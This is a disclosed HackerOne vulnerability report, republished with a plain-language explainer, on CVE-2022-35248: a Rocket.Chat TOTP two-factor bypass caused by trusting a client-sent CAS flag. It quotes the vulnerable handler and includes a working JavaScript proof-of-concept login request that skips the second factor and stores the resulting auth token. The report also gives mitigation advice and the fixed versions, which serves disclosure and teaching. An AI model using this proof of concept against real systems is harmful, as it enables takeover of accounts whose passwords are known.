Skip to content
Account takeover Disclosed report Intermediate CVE-2022-35248

TOTP 2 Factor Authentication Bypass

The two-factor authentication login handler skipped validation when the client included a CAS flag in the login request. An attacker with valid credentials could bypass TOTP and log in without a second factor.

gronke Follow

Originally disclosed on HackerOne

  • Triaged in 21 hours
  • Fixed in 6 months
  • Disclosed after 8 months

Summary by the program

Summary

Two Factor Authentication can be bypassed when telling the server to use CAS during login.

Description

The 2FA Login Handler skips validation when it finds CAS enabled. When the clients sends the option among the login request, the login proceeds without validation of a second factor.

In app/2fa/server/loginHandler.js#L17-L42 there is a return condition when the cas argument is not falsy:

JavaScript
callbacks.add(
	'onValidateLogin',
	(login) => {
		if (login.type === 'resume' || login.type === 'proxy' || login.methodName === 'verifyEmail') {
			return login;
		}

		const [loginArgs] = login.methodArguments;
		// CAS login doesn't yet support 2FA.
		if (loginArgs.cas) {
			return login;
		}

		const { totp } = loginArgs;

		checkCodeForUser({
			user: login.user,
			code: totp && totp.code,
			options: { disablePasswordFallback: true },
		});

		return login;
	},
	callbacks.priority.MEDIUM,
	'2fa',
);

Releases Affected:

  • 4.3.1
  • 3.18.3
  • develop

Steps To Reproduce (from initial installation to vulnerability):

  1. Create User account with 2FA enabled
  2. Logout and open Rocket.Chat login page
  3. Open Web Inspector
  4. Paste Proof of Concept (set valid USER/PASSWORD of an account with 2FA enabled)

Supporting Material/References:

Proof of Concept

JAVSCRIPT
const USER = "target";
const PASSWORD = "correct horse battery staple";

fetch("/api/v1/login", {
	method: "POST",
	body: `{
		"cas": true,
		"totp": {
			"code": "Not Today",
			"type": "resume",
			"login": {
				"user": {
					"username": "${USER}"
				},
				"password": "${PASSWORD}"
			}
		}
	}`,
	headers: {
		"Content-Type": "application/json"
	}
})
.then(res => res.json())
.then(({ data: { userId, authToken }}) => {
	console.log(`login as ${userId}`);
	Meteor._localStorage.setItem(Accounts.USER_ID_KEY, userId);
	Meteor._localStorage.setItem(Accounts.LOGIN_TOKEN_KEY, authToken);
	window.location.reload()
});

Suggested mitigation

  • Check on server side whether CAS is enabled and do not only trust the client.
  • Inform administrators in the UI that CAS conflicts 2FA authentication

Impact

Bypass of 2FA TOTP authentication.

Fix

Fixed in versions 4.7.5, 4.8.2, 5.0.0>

The original report as published on HackerOne, by gronke. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The server trusted a client-supplied CAS flag to skip second-factor validation instead of checking server-side whether CAS was actually enabled.

Impact

An attacker who knows a user's password could bypass TOTP two-factor authentication and log in as that user.

What the attacker needed

Valid username and password; account has 2FA enabled; attacker can send a crafted login request

The fix

The issue was fixed in later releases; the server should check whether CAS is enabled rather than trusting the client.

How it was found

  1. Create an account with 2FA enabled.
  2. Log out and open the login page.
  3. Open the browser's web inspector.
  4. Send a login request that includes the CAS flag and a fake TOTP code.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Two-factor authentication asks for a second proof, such as a code from an app, after your password. Here the server trusted a flag sent by the browser saying CAS login was being used, and CAS logins did not check the code. So someone who knew only the password could get in without the code.

What is Account takeover?

Getting into someone else's account through a flaw in sign-in, password reset, second factor, single sign-on or session handling.

More by gronke

View all

27 more disclosed reports, best first.

More from Rocket.Chat

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Account takeover

The lesson behind this report.

Getting into someone else's account through a flaw in sign-in, password reset, second factor, single sign-on or session handling.